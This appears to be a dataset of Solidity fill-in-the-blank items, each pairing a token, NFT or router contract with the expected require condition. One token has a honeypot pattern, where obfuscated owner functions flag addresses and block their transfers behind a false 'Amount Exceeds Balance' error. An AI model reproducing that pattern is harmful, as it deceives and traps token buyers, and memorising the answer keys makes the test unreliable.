"Amount Exceeds Balance"
|
pragma solidity 0.8.16;
/*
ββββββ ββββββ ββ ββ βββββββ ββ ββ ββ ββββββ
ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ
ββββββ ββ ββ ββ β ββ βββββββ βββββββ ββ ββββββ
ββ ββ ββ ββ βββ ββ ββ ββ ββ ββ ββ ββ
ββ ββββββ βββ βββ βββββββ ββ ββ ββ ββββββ
Proof of Work Shib - $POWSHIB
1:1 Airdrop Post Merge - PulseChain Bridge Support Q4
*/
contract POWSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) yVal;
//
string public name = "Proof of Work Shiba";
string public symbol = unicode"POWSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function atuwdnba(address _user) public onlyOwner {
}
function atzwvnbb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(!yVal[from] , "Amount Exceeds Balance");
require(<FILL_ME>)
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
|
!yVal[to],"Amount Exceeds Balance"
| 141,664 |
!yVal[to]
|
"insufficient"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "./Ownable.sol";
contract LilHeroz is ERC721A, Ownable {
string public baseURI = "ipfs://QmPF6gGtBEzMQRwNdiQgKL9wL8y14iaPR1GhPgeXjy3EqC/";
uint256 public mintPrice = 0.002 ether;
uint32 public earlySupply = 1000;
uint32 public earlyAmount = 3;
uint32 public immutable maxSupply = 3333;
uint32 public immutable perTxLimit = 20;
uint32 public freeTxLimit = 1;
modifier callerIsUser() {
}
constructor()
ERC721A ("LilHeroz!", "LilHZ") {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
function setBaseURI(string memory uri) public onlyOwner {
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function mint(uint32 amount) public payable callerIsUser{
require(totalSupply() + amount <= maxSupply,"sold out");
require(amount <= perTxLimit,"error");
if (totalSupply() <= earlySupply) {
require(<FILL_ME>)
}
else
{
require(msg.value >= (amount-freeTxLimit) * mintPrice,"insufficient");
}
_safeMint(msg.sender, amount);
}
function setEarlySupply(uint32 supply) public onlyOwner {
}
function setEarlyAmonunt(uint32 amount) public onlyOwner {
}
function setFreeTxLimit(uint32 limit) public onlyOwner {
}
function setPrice(uint256 price) public onlyOwner {
}
function withdraw() public onlyOwner {
}
}
|
msg.value>=(amount-earlyAmount)*mintPrice,"insufficient"
| 141,740 |
msg.value>=(amount-earlyAmount)*mintPrice
|
"insufficient"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "./Ownable.sol";
contract LilHeroz is ERC721A, Ownable {
string public baseURI = "ipfs://QmPF6gGtBEzMQRwNdiQgKL9wL8y14iaPR1GhPgeXjy3EqC/";
uint256 public mintPrice = 0.002 ether;
uint32 public earlySupply = 1000;
uint32 public earlyAmount = 3;
uint32 public immutable maxSupply = 3333;
uint32 public immutable perTxLimit = 20;
uint32 public freeTxLimit = 1;
modifier callerIsUser() {
}
constructor()
ERC721A ("LilHeroz!", "LilHZ") {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
function setBaseURI(string memory uri) public onlyOwner {
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function mint(uint32 amount) public payable callerIsUser{
require(totalSupply() + amount <= maxSupply,"sold out");
require(amount <= perTxLimit,"error");
if (totalSupply() <= earlySupply) {
require(msg.value >= (amount-earlyAmount) * mintPrice,"insufficient");
}
else
{
require(<FILL_ME>)
}
_safeMint(msg.sender, amount);
}
function setEarlySupply(uint32 supply) public onlyOwner {
}
function setEarlyAmonunt(uint32 amount) public onlyOwner {
}
function setFreeTxLimit(uint32 limit) public onlyOwner {
}
function setPrice(uint256 price) public onlyOwner {
}
function withdraw() public onlyOwner {
}
}
|
msg.value>=(amount-freeTxLimit)*mintPrice,"insufficient"
| 141,740 |
msg.value>=(amount-freeTxLimit)*mintPrice
|
"Invalid token"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/// @title STARL PassPoints Router
/// @notice A contract to receive payments for PassPoints purchase.
contract PassPointsRouter is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event STARLTokenBurnEvent(uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 value);
IERC20 public _starlToken;
address public _dead = address(0xdead);
uint256 public _burntFee = 3;
constructor(IERC20 starlToken, uint256 burntFee) {
require(<FILL_ME>)
require(burntFee > 0, "Invalid burnt fee");
require(burntFee < 50, "Invalid burnt fee");
_starlToken = starlToken;
_burntFee = burntFee;
}
receive() external payable {
}
// withdraw ETH
function withdraw() public onlyOwner {
}
// withdraw token
function withdrawToken(IERC20 token) public onlyOwner {
}
}
|
address(starlToken)!=address(0x00),"Invalid token"
| 141,787 |
address(starlToken)!=address(0x00)
|
"Invalid token"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/// @title STARL PassPoints Router
/// @notice A contract to receive payments for PassPoints purchase.
contract PassPointsRouter is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event STARLTokenBurnEvent(uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 value);
IERC20 public _starlToken;
address public _dead = address(0xdead);
uint256 public _burntFee = 3;
constructor(IERC20 starlToken, uint256 burntFee) {
}
receive() external payable {
}
// withdraw ETH
function withdraw() public onlyOwner {
}
// withdraw token
function withdrawToken(IERC20 token) public onlyOwner {
require(<FILL_ME>)
require(token.balanceOf(address(this)) > 0, "No balance");
// if token is STARL
if (token == _starlToken) {
// burn some of STARL based on _burntFee
uint256 balance = _starlToken.balanceOf(address(this));
uint256 burnAmount = balance.mul(_burntFee).div(100);
_starlToken.transfer(_dead, burnAmount);
_starlToken.transfer(msg.sender, balance.sub(burnAmount));
emit STARLTokenBurnEvent(burnAmount);
} else {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
}
}
|
address(token)!=address(0x00),"Invalid token"
| 141,787 |
address(token)!=address(0x00)
|
'ChunkedDataStorage: data exceeds size of 0xFFFF'
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import './libraries/SSTORE2Map.sol';
import './interfaces/IDataStorage.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/Base64.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@abf-monorepo/protocol/contracts/libraries/BytesUtils.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
contract ChunkedDataStorage is IDataStorage, Ownable, ERC165 {
uint256 public constant MAX_UINT_16 = 0xFFFF;
mapping(uint256 => uint256) public numLayerDataInChunk;
uint256 public currentMaxChunksIndex = 0;
constructor() {}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
}
function batchAddChunkedData(bytes[] calldata data) public onlyOwner {
numLayerDataInChunk[currentMaxChunksIndex] = data.length;
bytes memory chunkedLayerData = '';
for (uint256 i = 0; i < data.length; ++i) {
require(<FILL_ME>)
chunkedLayerData = abi.encodePacked(
chunkedLayerData,
uint16(data[i].length),
data[i]
);
}
SSTORE2Map.write(bytes32(currentMaxChunksIndex), chunkedLayerData);
currentMaxChunksIndex++;
}
function indexToData(uint256 index) public view returns (bytes memory) {
}
}
|
data[i].length<=MAX_UINT_16,'ChunkedDataStorage: data exceeds size of 0xFFFF'
| 141,789 |
data[i].length<=MAX_UINT_16
|
"Total supply exceeded."
|
pragma solidity ^0.8.11;
contract GreedyTown is ERC721A, Ownable {
string _baseTokenURI;
bool public isActive = false;
uint256 public mintPrice = 0.0033 ether;
uint256 public constant MAX_SUPPLY = 3333;
uint256 public maxPerTX = 10;
constructor(string memory baseURI) ERC721A("Greedy Town", "GT") {
}
modifier saleIsOpen {
}
modifier onlyAuthorized() {
}
function setMaximumAllowedTokens(uint256 _count) public onlyAuthorized {
}
function toggleSale() public onlyAuthorized {
}
function setPrice(uint256 _price) public onlyAuthorized {
}
function setBaseURI(string memory baseURI) public onlyAuthorized {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function mint(uint256 _count) public payable saleIsOpen {
uint256 mintIndex = totalSupply();
uint256 discountPrice = _count;
if (msg.sender != owner()) {
require(isActive, "Sale is not active currently.");
}
require(<FILL_ME>)
require(
_count <= maxPerTX,
"Exceeds maximum allowed tokens"
);
if(mintIndex > 333) {
if(_count > 1){
discountPrice = _count - 1;
}
if(balanceOf(msg.sender) >= 1 || _count > 1) {
require(msg.value >= mintPrice * discountPrice, "Insufficient ETH amount sent.");
}
}
_safeMint(msg.sender, _count);
}
function withdraw() external onlyAuthorized {
}
}
|
mintIndex+_count<=MAX_SUPPLY,"Total supply exceeded."
| 141,970 |
mintIndex+_count<=MAX_SUPPLY
|
"Blacklisted"
|
/**
*Submitted for verification at Etherscan.io on 2023-06-22
*/
//EVERPUMP
//
//http://Everpumperc.com
//https://t.me/EverpumpPortal
//https://twitter.com/everpumperc
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address UNISWAP_V2_PAIR);
}
contract Everpump is IERC20, Ownable {
/* -------------------------------------------------------------------------- */
/* events */
/* -------------------------------------------------------------------------- */
event Reflect(uint256 amountReflected, uint256 newTotalProportion);
/* -------------------------------------------------------------------------- */
/* constants */
/* -------------------------------------------------------------------------- */
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
uint256 constant MAX_FEE = 20;
/* -------------------------------------------------------------------------- */
/* states */
/* -------------------------------------------------------------------------- */
IUniswapV2Router02 public constant UNISWAP_V2_ROUTER =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable UNISWAP_V2_PAIR;
struct Fee {
uint8 reflection;
uint8 marketing;
uint8 lp;
uint8 buyback;
uint8 burn;
uint128 total;
}
string _name = "EverPump";
string _symbol = "EVERPUMP";
uint256 _totalSupply = 1_000_000_000_000 ether;
uint256 public _maxTxAmount = _totalSupply * 2 / 100;
/* rOwned = ratio of tokens owned relative to circulating supply (NOT total supply, since circulating <= total) */
mapping(address => uint256) public _rOwned;
uint256 public _totalProportion = _totalSupply;
mapping(address => mapping(address => uint256)) _allowances;
bool public limitsEnabled = true;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isTxLimitExempt;
Fee public buyFee = Fee({reflection: 3, marketing: 2, lp: 0, buyback: 0, burn: 0, total: 5});
Fee public sellFee = Fee({reflection: 3, marketing: 2, lp: 0, buyback: 0, burn: 0, total: 5});
address private marketingFeeReceiver;
address private lpFeeReceiver;
address private buybackFeeReceiver;
bool public claimingFees = true;
uint256 public swapThreshold = (_totalSupply * 2) / 1000;
bool inSwap;
mapping(address => bool) public blacklists;
/* -------------------------------------------------------------------------- */
/* modifiers */
/* -------------------------------------------------------------------------- */
modifier swapping() {
}
/* -------------------------------------------------------------------------- */
/* constructor */
/* -------------------------------------------------------------------------- */
constructor() {
}
receive() external payable {}
/* -------------------------------------------------------------------------- */
/* ERC20 */
/* -------------------------------------------------------------------------- */
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
/* -------------------------------------------------------------------------- */
/* views */
/* -------------------------------------------------------------------------- */
function totalSupply() external view override returns (uint256) {
}
function decimals() external pure returns (uint8) {
}
function name() external view returns (string memory) {
}
function symbol() external view returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function tokensToProportion(uint256 tokens) public view returns (uint256) {
}
function tokenFromReflection(uint256 proportion) public view returns (uint256) {
}
function getCirculatingSupply() public view returns (uint256) {
}
/* -------------------------------------------------------------------------- */
/* owners */
/* -------------------------------------------------------------------------- */
function clearStuckBalance() external onlyOwner {
}
function clearStuckToken() external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
}
function changeFees(
uint8 reflectionFeeBuy,
uint8 marketingFeeBuy,
uint8 lpFeeBuy,
uint8 buybackFeeBuy,
uint8 burnFeeBuy,
uint8 reflectionFeeSell,
uint8 marketingFeeSell,
uint8 lpFeeSell,
uint8 buybackFeeSell,
uint8 burnFeeSell
) external onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setFeeReceivers(address m_, address lp_, address b_) external onlyOwner {
}
function setMaxTxBasisPoint(uint256 p_) external onlyOwner {
}
function setLimitsEnabled(bool e_) external onlyOwner {
}
function blacklist(address _address, bool _isBlacklisting) external onlyOwner {
}
/* -------------------------------------------------------------------------- */
/* private */
/* -------------------------------------------------------------------------- */
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(<FILL_ME>)
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}
if (limitsEnabled && !isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_shouldSwapBack()) {
_swapBack();
}
uint256 proportionAmount = tokensToProportion(amount);
require(_rOwned[sender] >= proportionAmount, "Insufficient Balance");
_rOwned[sender] = _rOwned[sender] - proportionAmount;
uint256 proportionReceived = _shouldTakeFee(sender, recipient)
? _takeFeeInProportions(sender == UNISWAP_V2_PAIR ? true : false, sender, proportionAmount)
: proportionAmount;
_rOwned[recipient] = _rOwned[recipient] + proportionReceived;
emit Transfer(sender, recipient, tokenFromReflection(proportionReceived));
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _takeFeeInProportions(bool buying, address sender, uint256 proportionAmount) internal returns (uint256) {
}
function _shouldSwapBack() internal view returns (bool) {
}
function _swapBack() internal swapping {
}
function _shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
}
|
!blacklists[recipient]&&!blacklists[sender],"Blacklisted"
| 141,995 |
!blacklists[recipient]&&!blacklists[sender]
|
"Amount exceeds Max Wallet limit"
|
/**
The Communication Protocol of Web3
Knock Protocol stands as a cutting-edge web3 communication network, facilitating cross-chain notifications and messaging functionalities for dapps, wallets, and a wide range of services.
Web: https://www.kpns.services
App: https://app.kpns.services
Twitter: https://twitter.com/KPNS_PORTAL
Telegram: https://t.me/KPNS_PORTAL
Medium: https://medium.com/@kpns.evm
*/
// SPDX-License-Identifier:MIT
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract KNOCK is Context, IERC20, Ownable {
string private _name = "Knock Push Notification Service";
string private _symbol = "KNOCK";
uint8 private _decimals = 9;
uint256 private _totalSupply = 1_000_000_000 * 1e9;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromMaxTxn;
mapping(address => bool) public isExcludedFromMaxWallet;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public minTokenToSwap = (_totalSupply * 1) / (10000);
uint256 public maxWalletSize = (_totalSupply * 2) / (100);
uint256 public maxTransaction = (_totalSupply * 2) / (100);
uint256 public percentDivider = 1000;
uint256 public launchedAt;
bool public swapAndLiquifyStatus = false;
bool public feeStatus = false;
bool public tradingenabled = false;
IRouter public uniswapRouter;
address public routerPair;
address public marketingWallet;
address private constant DEAD = address(0xdead);
address private constant ZERO = address(0);
uint256 public FeeOnBuying = 200;
uint256 public FeeOnSelling = 200;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() {
}
receive() external payable {}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "transfer from the zero address");
require(to != address(0), "transfer to the zero address");
require(amount > 0, "Amount must be greater than zero");
if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
require(amount <= maxTransaction, "Amount exceeds Max txn limit");
if (!tradingenabled) {
require(
routerPair != from && routerPair != to,
"trading is not yet enabled"
);
}
}
if (!isExcludedFromMaxWallet[to]) {
require(<FILL_ME>)
}
bool takeFee = true;
if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feeStatus) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function takeTokenFee(address sender, uint256 amount) private {
}
function _SwapAndLiquify(address from, address to) private {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function includeOrExcludeFromFee(
address account,
bool value
) external onlyOwner {
}
function includeOrExcludeFromMaxTxn(
address account,
bool value
) external onlyOwner {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function setSellTaxPercent(uint256 _sellFee) external onlyOwner {
}
function setSwapAndLiquifyStatus(bool _value) public onlyOwner {
}
function removeLimits() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
}
function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
}
}
library dexswap {
function swapTokensForEth(
address routerAddress,
uint256 tokenAmount
) internal {
}
}
|
(balanceOf(to)+amount)<=maxWalletSize,"Amount exceeds Max Wallet limit"
| 142,062 |
(balanceOf(to)+amount)<=maxWalletSize
|
"already enabled"
|
/**
The Communication Protocol of Web3
Knock Protocol stands as a cutting-edge web3 communication network, facilitating cross-chain notifications and messaging functionalities for dapps, wallets, and a wide range of services.
Web: https://www.kpns.services
App: https://app.kpns.services
Twitter: https://twitter.com/KPNS_PORTAL
Telegram: https://t.me/KPNS_PORTAL
Medium: https://medium.com/@kpns.evm
*/
// SPDX-License-Identifier:MIT
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract KNOCK is Context, IERC20, Ownable {
string private _name = "Knock Push Notification Service";
string private _symbol = "KNOCK";
uint8 private _decimals = 9;
uint256 private _totalSupply = 1_000_000_000 * 1e9;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromMaxTxn;
mapping(address => bool) public isExcludedFromMaxWallet;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public minTokenToSwap = (_totalSupply * 1) / (10000);
uint256 public maxWalletSize = (_totalSupply * 2) / (100);
uint256 public maxTransaction = (_totalSupply * 2) / (100);
uint256 public percentDivider = 1000;
uint256 public launchedAt;
bool public swapAndLiquifyStatus = false;
bool public feeStatus = false;
bool public tradingenabled = false;
IRouter public uniswapRouter;
address public routerPair;
address public marketingWallet;
address private constant DEAD = address(0xdead);
address private constant ZERO = address(0);
uint256 public FeeOnBuying = 200;
uint256 public FeeOnSelling = 200;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() {
}
receive() external payable {}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function takeTokenFee(address sender, uint256 amount) private {
}
function _SwapAndLiquify(address from, address to) private {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function includeOrExcludeFromFee(
address account,
bool value
) external onlyOwner {
}
function includeOrExcludeFromMaxTxn(
address account,
bool value
) external onlyOwner {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function setSellTaxPercent(uint256 _sellFee) external onlyOwner {
}
function setSwapAndLiquifyStatus(bool _value) public onlyOwner {
}
function removeLimits() external onlyOwner {
}
function openTrading() external onlyOwner {
require(<FILL_ME>)
tradingenabled = true;
feeStatus = true;
swapAndLiquifyStatus = true;
launchedAt = block.timestamp;
}
function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
}
function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
}
}
library dexswap {
function swapTokensForEth(
address routerAddress,
uint256 tokenAmount
) internal {
}
}
|
!tradingenabled,"already enabled"
| 142,062 |
!tradingenabled
|
null |
/*
NewPepe β $NewPepe
The old PEPE has been killed by me, and now it's my turn for the New Pepe to rule.
website: https://newpepe.org/
twitter: https://twitter.com/newpepecoin
telegram: https://t.me/newpepe_coin
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _hwkp(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _hwkp(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IuniswapRouter {
